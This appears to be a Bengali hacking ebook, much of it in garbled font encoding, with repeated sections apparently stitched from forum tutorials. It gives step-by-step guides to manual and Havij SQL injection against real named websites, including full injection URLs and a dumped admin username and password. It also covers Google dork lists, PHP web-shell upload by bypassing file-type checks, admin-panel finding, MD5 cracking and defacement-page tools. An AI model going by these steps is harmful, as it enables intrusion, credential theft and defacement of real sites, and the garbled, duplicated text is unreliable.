সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন

এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013

আউজাযচছভভ trustadmin

াযাডব isti$$952013

এখন সল কাজ চছে এডকতভন সচছনর সফয কযা

এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ

মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন

-httpscansubhashdasyamcomadmin-panel-finderphp

অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয

অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন

তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন

httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player

কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না

অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না

কতরচছখচছছনঃ ফারক িঅহমমদ

অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ

াগমবিঃ

Mozilla Firox ভকতজরা পাযাযপকস

Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক

httpsaddonsmozillaorgenfirefoxaddonlive-http-headers

shell সম সকান সর ফযফায কযচছত াচছযন

কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell

httpwwwpastebucketcom19852

or

wwwmediafirecom64fjdlvzo9zhrra

shell username and password

username I-47

password I-47

তাহম এেি শর কসর

১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর

করণ

২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg

৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ

৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন

৫save click কচছযন

৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন

১এখন কতিক করন 47phpjpgচছয কতিক করণ

২ Reply ফাটন

৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত

৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক

২ Reply ফাটন

এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ

এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ

wwwsitecomgallery37473jpg

এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php

এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ

Video Tutorial

httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube

কতরচছখচছছনঃ ফারক িঅহমমদ

কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা

--==DefacePage Generator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন

১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r

২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন

সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif

৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন

এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave

as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files

কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml

--==Advance Deface Page Creator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

Tutorial -

পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন

এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ

এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ

এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন

Add Homepage title and texts এ কতিক করন

এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন

সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন

সরখা সল চছর চছক কচছয কতদন

এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন

সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html

--==অকতনমকতদ HTML াচছযন==--

অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন

Collection -bcaware

httpwwwtunerpagecomarchives78980

httpwwwtunerpagecomarchives98804

httpwwwtunerpagecomarchives219088

httpwwwtunerpagecomarchives224434

---------------------------------------------------------------------------------------

---------------------------------------------------------------------------------

1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ

2 Collection of Important Programming Languages E-books

httpwwwfacebookcomdownload290805637728289Collection20of20Important2

0Programming20Languages20Erar

3 Collection of best SQL injection Tools

পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ

অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন

পারক অচছভদ

wwwfacebookcommdfaroqueahmed

Mystrious Tusin

wwwfacebookcomcyb3rc0d3

Page 50: Hacking Bangla eBook

সকান সকান সাটব গচছরা চছন যাখা জরকতয তা সজচছন কতনন মথা পরচছযাজনীয সাটব সখারা সযচছখ ঝাচছভরা ফািাচছফন না

অনায সকান সকান াবব ায সাটব সখারা যাখা উকতচত তা সজচছন কতনচছত ভাআচছকরাপট এয Microsoft Knowledge Base (KB)

অটিব চছকর 150543 চছত সজচছন কতনন

httpsupportmicrosoftcomdefaultaspxscid=kben-us150543ampsd=tech

াচছযটিং কতচছেভ এয কতডপি কতকযকতযটি সথচছক চছফবারচ পাযদা কতনন

উআচছনডাজ াচছযটিং কতচছেভ ফযফায কযচছর কতচছেভ পাআর সচকতকং [ System File Checking ( SFC) ]

এফং আনটাযচছনট কাচছনকন পাযাযযার [ Internet Connection Firewall ( IFC ) ] এনাচছফর কচছয কতনন এগচছরা কতকনত কতডপি বাচছফ কতডজযাচছফর কযা থাচছক

এগচছরা অনায াবব ায কতচছেভ এয কতপিাকতযং াযপচছভবনস ঠাৎ কচছয ফহগন ফাকতিচছয কতদচছফ

কাচছনকটিকতবটি ককতভচছয কতদন

অনায াবব ায এয াচছথ সমাগাচছমাগ ফা কাচছনকন সথান কযায জনয খফ কতনকতদব ি কতকছ সাটব কতচছরকট কচছয কতদন মাচছত কচছয াবব ায

এফং কাচছনকটিং কতচছেভ দচছটাযআ পাযাযযার িণব ফযাায তা ধযচছত াচছয উদাযণ সবর HTTP SMTP FTP IMAP

এফং POP সাটব গচছরা কতচছরকট করন অনায াবব ায এয াচছথ কাচছনকন এয জনয কতনযধাকতযত সাটব গচছরা

এগচছরা চছনক যকতকষত এফং কতনকতশচত icon smile

পাযাযযার ফযফায করন

উআচছনডাজ এয পাযাযযার মচছথি বার কতকনত মবাি বার না এয জনয অকতন নয পাযায যার ফযফায কচছয সদখচছত াচছযন

এচছত কচছয আনফাউনড অউটফাউনড ফ ধযচছনয কাচছনকন এয উয খফ চছজআ অকতন সচাখ যাখচছত াযচছফন

এফং অনায কতচছেভ াবব ায যকষা সফচছি মাচছফ চছনক গচছন কতগর বার পাযাযযার এয ঠিকানা অকতভ এখাচছন কতদচছয কতদকতে সদচছখ কতনন

httpwwwsymanteccomindexjsp httpwwwsymanteccomindexjsp httpwwwzonealarmcom httpwwwcomodocom

এছািা DoS DDoS attack রযন এয াাময সনযা মায সমভন RioRey

সািটি - pirate_king এফং শভর অকাgtgtgtgtgtএয সাে সথচছক একতডট কযা চছযচছছ

heartsheartshearts Havij

SQLi টিউমটাসরো heartsheartshearts

Download

Havij 15 Pro httpwwwmediafirecoms7a89dxmfwxcyij

পরথচছভ GoogleCom এ মান

এফায কতনচছচয গগর ডকটি কতরচছখ াচব কতদন

inurlphpid=

তাচছর চছনকগচছরা পরাপর সদখাচছফ

এখাচছন চছনক Dork াচছফন httppastebincomDvnHxg7i

সদখন পরাপর সদখাচছে ldquoপরায 2010000000টি পরাপর(023 সচছকনড) rdquo

এফায সম সকান একটি াআচছট পরচছফ করন

এছািা অকতন সম সকান াআট ধযচছত াযচছফন সম ফ াআচছটয য phpid= অচছছ সআ ফ াআচছট াযচছফন সমভনঃ

httpwwwpaulprescottcomthemephpid=10

অভযা এআ াআটটিচছক টাচছগবট কযরাভ

এফায অনায টাচছগবট কযা াআচছটয কতরংচছকয সচছল সদচছখন এভন একটা অচছছ ID=XX এখাচছন XX এয জাযগায সমচছকান নং অচছছ সমভন অভায এখাচছন অচছছ ID=10

এফাযয এআ কতরংচছকয সচছল একটা ( lsquo ) রাগান

এফায এনটায কতদন

এফায মকতদ উচছযয ভচছতা Error সদখায তাচছর ফঝচছফন সম াআটটিচছত inject কযা মাচছফ

এফায ldquoHavijrdquo টরটা চছন করন তাচছর কতনচছচয ভচছতা অচছফ

এফায Error াযা াআটিয কতরংকটি এখাচছন সদন ldquoAnalyzerdquo ফাটচছন কতিক করন (উচছযয কতচতরটি সদখন) এফায কতকছকষণ চছকষা করন তাচছর টরটি চছযফাআটটি যীকষা কযচছফ

মকতদ কাজ য তাচছর এআ যকভ ভযাচছজ কতদচছফ

Current DB XXXX

কতনচছচয ছকতফটি সদখন

এফায ―Tables tab এ মান

এফায ―Get DBlsquos এ কতিক করন

এফায ফাভাচছয যাচছনচছর সদখন ২টা ডযাি পাআর াযা সগচছছ ―paul_third ―information_schema

দটা পাআর

―information_schema অনায ধযায দযকায নাআ এখাচছন MySQL তথয থাচছক

শধ ভাতর ―paul_third কতচছরকট করন

এফায ―Get Tables এ কতিক করন

তাচছর অকতন সটকতফচছরয ডযাি পাআরগচছরা সচছয মাচছফন

এখন অভযা administration panel টি যাক কযচছত সচিা কযফ

এখন ―admin table টি সচক করন

এখাচছন ভাতর ১ জনআ আউজায াচছফন মকতদ অকতন সকান আউজায না ান তাচছর অকতন এখাচছন যাক কযচছত াযচছফন না

এফায ―Get Columns ফাটচছন কতিক করন

তাচছর কতনচছচয ভচছতা অচছফ

এখাচছন ―id ―username ( সম Username কতদচছয চছযফাআচছট রগআন কচছয ) ―password ( সম Password কতদচছয চছযফাআচছট রগআন কচছয) ―email (এডকতভন সম সম আচছভআর কতদচছয সযকতজঃ কচছযচছছ কাজ কচছয)

এফায ―Get Data টযাচছফ কতিক করন

তাচছর টরটি অনাচছক Username Password আচছভআচছরয তথযগচছরা সদখাচছফ

অফায ―Find Admin টযাচছফ কতিক করন

তাচছর এটি অনাচছক Administration Panel login সদকতখচছয সদচছফ

এফায অকতন অনায কতবকটিচছভয চছযফাআটিয নাভ টাআ করন administration panel সফয কযায জনয

তচছফ ভচছন যাখচছফনphpid=XX অফায রাগাচছযন না

ldquoPath to Searchrdquo ফচছকস িণব URL টি কতরখচছফন

এফায ldquoStartrdquo ফাটচছন কতিক করন তাচছর অনাচছক Administration Panel login page টা সদখাচছফ

তাচছর অভযা Administration Panel সরাভ

এফায administration panel login সচছজ মান অচছগয াযা আউজায অআকতড াযাডব কতদচছয এডকতভন সজ রগআন করন

মপাষটটি সমেমেি -িসিববাসিত টিউিারtrade

সকান পটযযায ছািা SQL INJECT কচছয অনাচছদয বানবাফর াআট রাআব যাক কযা কতখাচছফা

তাচছর কথা না ফাকতযচছয শর ককতয

পরথচছভ SQL INJECT কযায জনয অভাচছদয বানবাফর াআট খজচছত চছফ

এয জনয অভযা dork use কযফ

inurlindexphpid= inurltrainersphpid=

inurlbuyphpcategory= inurlarticlephpID=

inurlplay_oldphpid= inurldeclaration_morephpdecl_id=

inurlPageid= inurlgamesphpid=

inurlpagephpfile= inurlnewsDetailphpid=

inurlgalleryphpid=

এআ খাচছন কতকছ dork অচছছ sql বানবাফর াআট খজায জনয

8500 SQL dorks list

httppastebincomdzknXjgP or

httppastebincomayV6tNS2

পরথভ এ একটা dork কতনচছয অভযাwwwgooglecom এ SEARCH কতদফ

inurlnews-and-eventsphpid=

এআ dork কতদযা SEARCH কতদচছয অকতভ চছনক াআট সদখরাভ সখান সথচছক অকতভ একটা াআট কতনরাভ

সমভন httpwwweastodissaacinnews-and-eventsphpid=22

ছকতফঃ

পরথচছভ SQL INJECT কযায জনয াআচছটয ID সবরয খজচছত য

এযয অনাচছক সদখচছত চছফ াআট টি injectable কতকনা

এয জনয অনাচছক url এয সচছল একটি lsquo ফাচছত চছফ

httpwwweastodissaacinnews-and-eventsphpid=22

মকতদ ডাটাচছফচছজয কতকছ কতভকতং অচছ ফা সচছজয কতকছ আযয অচছ তাচছর ফঝচছফন াআট টি injectable

সমভন ldquoYou have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the

right syntax to use near rdquorsquo at line 1Prime

ছকতফঃ

এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ

এখাচছন অভাচছদয বানবাফর াআট

httpwwweastodissaacinnews-and-eventsphpid=22

মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+

এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ

এখন 1 কতনচছয সদচছখন

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--

না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না

অফায 2 কতদচছয সচিা ককতয

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--

ছকতফঃ

না এফায ডাটা কতভ কযচছতচছছ না

এফাচছফ 345 কচছয 7 মবনত সগরাভ

8 এ সগচছর চছযা াআট SQL আযয সদখায

(চছনক ভয সদখা মায

wwwsitecomindexphpid=1 order 999ndash [ no error ]

থবাৎ order by 999 কতদচছর সকান error সদখায না

এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ

তাচছর িণব কতরেটি চছফ

wwwsitecomindexphpid=1prime order by 999ndash+

এফায সচছজ error সদখাচছফ

ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--

ছকতফঃ

আযয এযকচছভয চছত াচছয

Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo

থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি

এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ

কভানড টি

+union+select+1234567--

তাচছর কতরংক টি দািাচছফ

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--

ছকতফঃ

( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (

এখন অকতন বানবাফর করাভ সদখচছত াচছফন

এআ াআচছটয বানবাফর করাভ 23সদখাচছফ

এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা

এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা

এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ

এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--

ছকতফঃ

এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা

এটায বাবন 5168-community

বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন

এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ

এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য

+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা

তাচছর কতরংকটি দািাচছরা

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem

a=database()--

কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন

ছকতফঃ

এআ াআচছটয সটকতফর গচছরা র

est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio

nest_placementrecord

এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ

এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায

একভাতর est_admin এডকতভন সটকতফর ভচছন য

ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ

কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ

এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ

এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায

httpsaddonsmozillaorgen-USfirefoxaddonhackbar

এখন যাকফায টি চছন কচছযন F9 সচচছ

এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন

ছকতফঃ

নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন

ছকতফঃ

এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH

AR(101 115 116 95 97 100 109 105 110)--

ছকতফঃ

অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন

সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ

uiduseridpasswordemailidsignaturelast_login

এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা

এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ

এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা

সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন

করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ

এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ

এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ

+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--

ছকতফঃ

সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন

এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013

আউজাযচছভভ trustadmin

াযাডব isti$$952013

এখন সল কাজ চছে এডকতভন সচছনর সফয কযা

এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ

মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন

-httpscansubhashdasyamcomadmin-panel-finderphp

অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয

অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন

তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন

httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player

কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না

অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না

কতরচছখচছছনঃ ফারক িঅহমমদ

অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ

াগমবিঃ

Mozilla Firox ভকতজরা পাযাযপকস

Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক

httpsaddonsmozillaorgenfirefoxaddonlive-http-headers

shell সম সকান সর ফযফায কযচছত াচছযন

কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell

httpwwwpastebucketcom19852

or

wwwmediafirecom64fjdlvzo9zhrra

shell username and password

username I-47

password I-47

তাহম এেি শর কসর

১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর

করণ

২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg

৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ

৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন

৫save click কচছযন

৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন

১এখন কতিক করন 47phpjpgচছয কতিক করণ

২ Reply ফাটন

৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত

৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক

২ Reply ফাটন

এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ

এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ

wwwsitecomgallery37473jpg

এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php

এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ

Video Tutorial

httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube

কতরচছখচছছনঃ ফারক িঅহমমদ

কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা

--==DefacePage Generator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন

১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r

২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন

সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif

৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন

এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave

as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files

কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml

--==Advance Deface Page Creator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

Tutorial -

পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন

এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ

এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ

এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন

Add Homepage title and texts এ কতিক করন

এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন

সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন

সরখা সল চছর চছক কচছয কতদন

এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন

সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html

--==অকতনমকতদ HTML াচছযন==--

অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন

Collection -bcaware

httpwwwtunerpagecomarchives78980

httpwwwtunerpagecomarchives98804

httpwwwtunerpagecomarchives219088

httpwwwtunerpagecomarchives224434

---------------------------------------------------------------------------------------

---------------------------------------------------------------------------------

1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ

2 Collection of Important Programming Languages E-books

httpwwwfacebookcomdownload290805637728289Collection20of20Important2

0Programming20Languages20Erar

